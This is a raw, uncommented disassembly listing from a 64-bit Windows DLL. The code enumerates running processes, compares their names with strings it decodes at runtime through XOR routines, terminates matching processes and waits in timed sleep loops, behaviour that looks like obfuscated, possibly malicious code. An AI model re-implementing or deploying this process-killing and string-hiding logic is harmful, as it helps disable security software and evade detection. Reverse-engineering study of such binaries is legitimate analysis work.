mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x68]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024f10
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x1800251fa
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181fb8]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024fc3
mov r8, rdi
lea rdx, [0x180181fb4]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026bd0
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181fa8]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800251b7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025030
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025083
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025091
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x1800250b6
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x1800250bf
add rax, 2
sub rcx, 1
jne 0x1800250a3
cmp r9, r10
jae 0x1800250c7
mov ebx, edi
jmp 0x1800250cd
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800250cd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002510d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025108
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bd6
call fcn.1800d9c4c
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002515e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025159
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bdc
call fcn.1800d9c4c
test ebx, ebx
je 0x18002517c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180025010
jmp 0x1800251b7
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800251ad
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800251fa
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800251f4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026be2
call fcn.1800d9c4c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x18002523a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025235
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c24
call fcn.1800d9c4c
movups xmm0, xmmword [str.JN_P]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180183500]
mov dword [rsp + 0x50], eax
cmp word [0x180183502], 0
je 0x18002529a
mov eax, reloc.WS2_32.dll_WSAStartup
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x3a
xor word [rsp + 0x44], 0x3b
xor word [rsp + 0x46], 0x3c
xor word [rsp + 0x48], 0x3d
xor word [rsp + 0x4a], 0x3e
xor word [rsp + 0x4c], 0x3f
xor word [rsp + 0x4e], 0x40
xor word [rsp + 0x50], 0x41
xor word [rsp + 0x52], 0x42
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x1800252b1
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
nop
or r14d, 1
mov dword [rbp + 0x6b0], r14d
lea rcx, [rbp - 0x80]
call fcn.1800c2fa0
test al, al
jne 0x180025d62
movups xmm0, xmmword [0x180183570]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180183580]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180183590]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180025437
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180025340
cmp r8d, 0x11
jge 0x180025487
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x180025450
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800254a0
lea rdx, [rbp]
lea rcx, [rbp - 0x40]
call fcn.180008fd0
nop
or r14d, 2
mov dword [rbp + 0x6b0], r14d
cmp qword [rbp - 0x30], 0
je 0x1800257b1
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181f98]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x18002555e
mov r8, rdi
lea rdx, str..._.
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026be8
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181f88]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1800255f0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800257b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800257ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b70
jmp 0x1800257ac
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025610
lea rdx, [rbp + 0x15c]
lea rcx, [rbp + 0x48]
call fcn.180008fd0
lea rdx, [rbp + 0x48]
lea rcx, [rbp - 0x20]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025663
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025671
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180025696
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x18002569f
add rax, 2
sub rcx, 1
jne 0x180025683
cmp r9, r10
jae 0x1800256a7
mov ebx, edi
jmp 0x1800256ad
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800256ad
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x1800256ed
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800256e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bee
call fcn.1800d9c4c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002573e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025739
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bf4
call fcn.1800d9c4c
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r13w
test ebx, ebx
je 0x180025cf6
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800255f0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1800257b1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800257ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c12
call fcn.1800d9c4c
mov eax, dword [0x180183538]
mov dword [rbp + 0x88], eax
movups xmm0, xmmword [0x180183518]
movups xmm1, xmmword [0x180183528]
movzx eax, word [0x18018353c]
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm1
mov word [rbp + 0x8c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180025909
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp + 0x68]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180025812
cmp r8d, 0x13
jge 0x180025957
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x180025920
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x68]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025970
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
or r14d, 4
mov dword [rbp + 0x6b0], r14d
cmp qword [rbp - 0x50], 0
je 0x180025aad
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180181f98]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180025a2e
mov r8, rdi
lea rdx, str..._.
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026bfa
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b710
mov qword [rsp + 0x70], rbx
lea rdx, [0x180181f88]
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x180025ac0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025aad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c00
call fcn.1800d9c4c
mov bl, 1
jmp 0x180025d64
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180025ae0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x20]
call fcn.180008fd0
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x48]
call fcn.1800bd6e0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp + 0x28]
call fcn.1800bd6e0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180025b33
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180025b41
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180025b66
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x180025b6f
add rax, 2
sub rcx, 1
jne 0x180025b53
cmp r9, r10
jae 0x180025b77
mov ebx, edi
jmp 0x180025b7d
mov ebx, r15d
cmovb ebx, edi
jmp 0x180025b7d
mov ebx, r13d
seta bl
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x180025bbd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025bb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c06
call fcn.1800d9c4c
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 7
jbe 0x180025c0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025c09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c0c
call fcn.1800d9c4c
mov qword [rbp + 0x58], r13
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], r13w
test ebx, ebx
je 0x180025c85
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180025ac0
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025aad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b76
jmp 0x180025aa8
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x180025ca5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025d62
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b76
jmp 0x180025d5d
mov r8d, dword [rbp + 0x138]
xor edx, edx
lea ecx, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x180025d16
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180025d62
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c12
call fcn.1800d9c4c
xor bl, bl
test r14b, 4
je 0x180025daf
and r14d, 0xfffffffb
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180025daf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025da9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c18
call fcn.1800d9c4c
nop
test r14b, 2
je 0x180025dfa
and r14d, 0xfffffffd
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180025dfa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025df4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c1e
call fcn.1800d9c4c
nop
test r14b, 1
je 0x180025e44
and r14d, 0xfffffffe
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x180025e44
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180025e3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026c24
call fcn.1800d9c4c
test bl, bl
jne 0x180025efc
lea rcx, [rbp + 0x6c8]
call fcn.180023b80
mov rbx, qword [rbp + 0x6c8]
movabs rax, 0x7ffffffffa0a1efe
cmp rbx, rax
jg 0x180025e77
add rbx, 0x5f5e100
jmp 0x180025e81
movabs rbx, 0x7fffffffffffffff
lea rcx, [rbp + 0xb0]
call fcn.180023b80
mov rax, qword [rbp + 0xb0]
cmp rbx, rax
mov esi, reloc.WS2_32.dll_WSAStartup
je 0x180024034
jl 0x180024034
mov rcx, rbx
sub rcx, rax
movabs rax, 0x4e94914effff
cmp rcx, rax
jg 0x180025ef0
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x180025ee7
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x180025e81
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x180025e81
lea rax, [rsp + 0x60]
mov qword [rbp + 0x6b0], rax
movups xmm0, xmmword [0x1801835d8]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x1801835e8]
mov ecx, 0x2d
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x3a
xor word [rsp + 0x44], 0x3b
xor word [rsp + 0x46], 0x3c
xor word [rsp + 0x48], 0x3d
xor word [rsp + 0x4a], 0x3e
xor word [rsp + 0x4c], 0x3f
xor word [rsp + 0x4e], 0x40
xor ax, 0x41
mov word [rsp + 0x50], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rsp + 0x40]
mov r8, rdi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180025f70
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
nop
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.180013eb0
mov rbx, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp]
call fcn.180007a90
nop
lea r8, [rbp + 0xd8]
mov rdx, rbx
mov rcx, rax
call fcn.1800c2d30
movzx ebx, al
lea r9, [fcn.180007900]
mov r8, r15
mov edx, 0x20
lea rcx, [rbp - 0x80]
call fcn.1800d9c80
test bl, bl
jne 0x18002601a
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800268a2
movups xmm0, xmmword [0x180183570]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180183580]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180183590]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180026167
movdqa xmm5, xmmword [0x1801873c0]
movdqa xmm4, xmmword [0x1801876f0]
movdqa xmm6, xmmword [0x180187460]
movdqa xmm7, xmmword [0x180187510]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180026070
cmp r8d, 0x11
jge 0x1800261b7
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x180026180
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp]
